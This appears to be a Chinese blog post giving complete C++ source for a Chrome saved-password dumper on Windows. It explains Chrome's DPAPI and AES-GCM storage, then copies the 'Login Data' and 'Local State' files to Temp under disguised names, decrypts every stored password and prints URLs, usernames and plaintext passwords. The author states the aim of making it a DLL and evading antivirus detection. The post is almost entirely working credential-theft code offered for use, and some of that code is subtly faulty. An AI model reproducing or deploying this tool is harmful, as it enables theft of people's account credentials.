chrome浏览器密码导出-c++源码

0.原理

先知上的文章《c++实现抓取所有版本Chrome存储的密码》解释了chrome浏览器密码存储原理,给出了一些关键代码的截图和示例,并且最终给出了可执行文件。但给出的github中没有给出完整程序的源码,想要改成dll不是很方便,并且没有源码不好做免杀,因此参考该文章自己写了个完整的源码。首先,版本分为80以下版本和80以上版本两种,密码的加密原理如下:

首先,账号密码的数据库文件都保存在 %LocalAppData%\Google\Chrome\User Data\Default\Login Data 中。该文件是一个sqllite数据库文件,密码保存在password_value字段,但根据版本不同,解密方式有所不同。

  • 80版本以下:直接调用windows api CryptUnprotectData 解密即可。
  • 80版本以上:先从%LocalAppData%\Google\Chrome\User Data\Local State文件中读取key。该文件是一个json文件,其中的encrypted_key字段保存着aes加密的秘钥。encrypted_key字段需要先base64解码,然后删除前面5位的DPAPI字符,然后调用CryptUnprotectData即可得到aes加密的秘钥。然后使用该秘钥对password_value字段进行解密,该字段0-2字节为固定字符串v10或者v11,3-14位为iv,之后的就是aes-gcm加密的密码,调用aes-gcm解密即可。

1.源码

这里用到了cryptopp作为aes解密的lib,我这里是静态编译的lib文件,换64位的需要重新编译并对源码进行修改。完整的源码如下:

#define _CRT_SECURE_NO_WARNINGS 1;
#include <windows.h>
#include <stdio.h>
#include <fileapi.h>
#include <stdlib.h> 
#include "sqlite/sqlite3.h"
#include <string>
#include <regex>
#include <dpapi.h>
#include <fstream>
#include "cryptopp/cryptlib.h"
#include "cryptopp/base64.h";
#include "cryptopp/aes.h";
#include "cryptopp/filters.h";
#include "cryptopp/gcm.h"

#pragma comment(lib,"cryptlib.lib")
#pragma comment(lib,"Crypt32.lib")

using namespace CryptoPP;
using namespace std;

const int TAG_SIZE = 16;
string decryptKey;


string StringToUtf(string strValue) {//用户名可能有中文,防止乱码
    int nwLen = MultiByteToWideChar(CP_UTF8, 0, strValue.c_str(), -1, NULL, 0);
    wchar_t* pwBuf = new wchar_t[nwLen + 1];//加上末尾'\0'
    memset(pwBuf, 0, nwLen * 2 + 2);
    MultiByteToWideChar(CP_UTF8, 0, strValue.c_str(), strValue.length(), pwBuf, nwLen);
    int nLen = WideCharToMultiByte(CP_ACP, 0, pwBuf, -1, NULL, NULL, NULL, NULL);
    char* pBuf = new char[nLen + 1];
    memset(pBuf, 0, nLen + 1);
    WideCharToMultiByte(CP_ACP, 0, pwBuf, nwLen, pBuf, nLen, NULL, NULL);
    std::string retStr = pBuf;
    delete[]pBuf;
    delete[]pwBuf;
    return retStr;
}

char* copyDb() {
    char dataFilePath[MAX_PATH], copyDbPath[MAX_PATH];
    memset(dataFilePath, 0, sizeof(dataFilePath));
    memset(copyDbPath, 0, sizeof(copyDbPath));
    strcpy(dataFilePath, getenv("LocalAppData"));
    strcat(dataFilePath, "\\Google\\Chrome\\User Data\\Default\\Login Data");
    strcpy(copyDbPath, getenv("Temp"));
    strcat(copyDbPath, "\\_CL_fbf39e02sy");
    if (CopyFileA(dataFilePath, copyDbPath, FALSE)) {
        return copyDbPath;
    }
    else {
        return NULL;
    }
}

string getDecryptkey()
{
    string keyFilePath, copyKeyPath;
    bool res;

    //拷贝Local State
    keyFilePath = getenv("LocalAppData");
    keyFilePath += "\\Google\\Chrome\\User Data\\Local State";
    copyKeyPath = getenv("Temp");
    copyKeyPath += "\\_CL_fbf37e02sy";
    if (!CopyFileA(keyFilePath.c_str(), copyKeyPath.c_str(), FALSE)) {
        printf("[-] Copy Key File Failed!\n");
        return "";
    }
    else {
        printf("[+] Copy Key File Success!\n");
    }

    //将Local State暂存到key变量
    ifstream fileInputStream(copyKeyPath, ios::in);
    istreambuf_iterator<char> beg(fileInputStream), end;
    string key(beg, end);
    fileInputStream.close();


    //使用正则匹配获取原始key
    regex pattern("\"encrypted_key\":\"([a-zA-Z0-9/+]+)\"");
    smatch matchResult;
    res = regex_search(key, matchResult, pattern);
    if (res) {
        key = matchResult.str();
        key = key.substr(17, key.length() - 18);//截取中间的值
        //printf("key file: \n%s", key.c_str());
        printf("[+]  Regex Key Value Success!\n");
    }
    else {
        printf("[-]  Regex Key Value Failed!\n");
        return "";
    }
    //对Key进行解密
    string decodeKey = "";
    StringSource((BYTE*)key.c_str(), key.size(), true, new Base64Decoder(new StringSink(decodeKey)));
    key = decodeKey.substr(5);//去除首位DPAPI字符
    decodeKey.clear();

    //DPAPI解密
    char decryptKey[1000] = "";
    DATA_BLOB dataOut = { 0 };
    DATA_BLOB dataVerify = { 0 };
    dataOut.pbData = (BYTE*)key.c_str();
    dataOut.cbData = 1000;
    if (!CryptUnprotectData(&dataOut, nullptr, NULL, NULL, NULL, 0, &dataVerify)) {
        printf("[-]  Decryption key failure: %d\n", GetLastError());
    }
    else {
        printf("[+]  Decryption key successfully!\n");
        for (int i = 0; i < dataVerify.cbData; i++)
        {
            decryptKey[i] = dataVerify.pbData[i];
        }
    }
    return decryptKey;

}
string getdecryptPasswd(byte* pcryptPasswd) {

    string cryptPasswd = (char*)pcryptPasswd;
    if (strstr(cryptPasswd.c_str(), "v10") || strstr(cryptPasswd.c_str(), "v11")) {//判断chrome版本是否为80以上
        if (decryptKey.length() == 0) {//先判断是否获取了decryptKey
            decryptKey = getDecryptkey();
        }
        if (cryptPasswd.length() < 15) {//
            return "";
        }
        string iv, decryptPasswd;
        iv = cryptPasswd.substr(3, 12);//0-2为前缀,3-14位为iv,共12字节
        cryptPasswd = cryptPasswd.substr(15);
        CryptoPP::GCM<CryptoPP::AES>::Decryption d;
        d.SetKeyWithIV((BYTE*)decryptKey.c_str(), decryptKey.length(), (BYTE*)iv.c_str(), iv.length());
        try {
            StringSource(cryptPasswd, true, new AuthenticatedDecryptionFilter(d, new StringSink(decryptPasswd), false, TAG_SIZE));
        }
        catch (...){

            return "";
        }
        return decryptPasswd;
    }
    else {
        //80以下版本直接DPAPI解密
        char decryptPasswd[1000] = "";
        DATA_BLOB dataOut = { 0 };
        DATA_BLOB dataVerify = { 0 };
        dataOut.pbData = (BYTE*)pcryptPasswd;
        dataOut.cbData = 1000;
        if (!CryptUnprotectData(&dataOut, nullptr, NULL, NULL, NULL, 0, &dataVerify)) {
            printf("[-]  Decryption password failure: %d\n", GetLastError());
        }
        else {
            printf("[+]  Decryption password successfully!\n");
            for (int i = 0; i < dataVerify.cbData; i++)
            {
                decryptPasswd[i] = dataVerify.pbData[i];
            }
        }
        return decryptPasswd;
    }
}

static int callback(void* NotUsed, int numOfColumns, char** colValueArr, char** colNameArr) {
    if (!numOfColumns) {
        printf("[-] Sorry, No Password Found In DB!");
        return 1;
    }
    map<string, string> currentCol;
    for (int i = 0; i < numOfColumns; i++) {
        currentCol[colNameArr[i]] = colValueArr[i];
    }
    byte* pcryptPasswd = NULL;
    pcryptPasswd = (byte*)colValueArr[1];
    string decryptPassword;
    if (currentCol["password_value"].length()) {
        decryptPassword = getdecryptPasswd(pcryptPasswd);
        //decryptPassword = getdecryptPasswd(currentCol["password_value"], currentCol["origin_url"]);
    }
    if (decryptPassword != "") {
        printf("------------------------------------\n");
        printf("origin_url  : %s\n", currentCol["origin_url"].c_str());
        //printf("action_url  : %s\n", currentCol["action_url"].c_str());
        printf("username_value  : %s\n", StringToUtf(currentCol["username_value"]).c_str());
        printf("password_value  : %s\n", decryptPassword.c_str());
        printf("------------------------------------\n");
    }
    return 0;
}
int dumpCurrentUserPassword(){
    char* copyDbPath=NULL;
    copyDbPath = copyDb();
    if (!copyDbPath) {
        printf("[-]  Copy DB Failed!\n");
        return 1;
    }
    else {
        printf("[+]  Copy DB Success!\n");
    }

    //获取sqlite数据库中的数据
    sqlite3* db = NULL;
    bool failFlag;
    failFlag = sqlite3_open(copyDbPath, &db);
    if (failFlag) {
        printf("[-]  Open DB Failed!\n");
        return 1;
    }
    else {
        printf("[+]  Open DB Success!\n");
    }
    //callback函数用于对数据库查询的结果做处理
    char* ErrMsg = 0;
    sqlite3_exec(db, "select username_value,password_value,origin_url,action_url from logins", callback, 0, &ErrMsg);
    if (ErrMsg) {
        sqlite3_close(db);
        return 1;
    }
    else {
        sqlite3_close(db);
        return 0;
    }
}



int main(int argc, char* argv[])
{
    dumpCurrentUserPassword();
}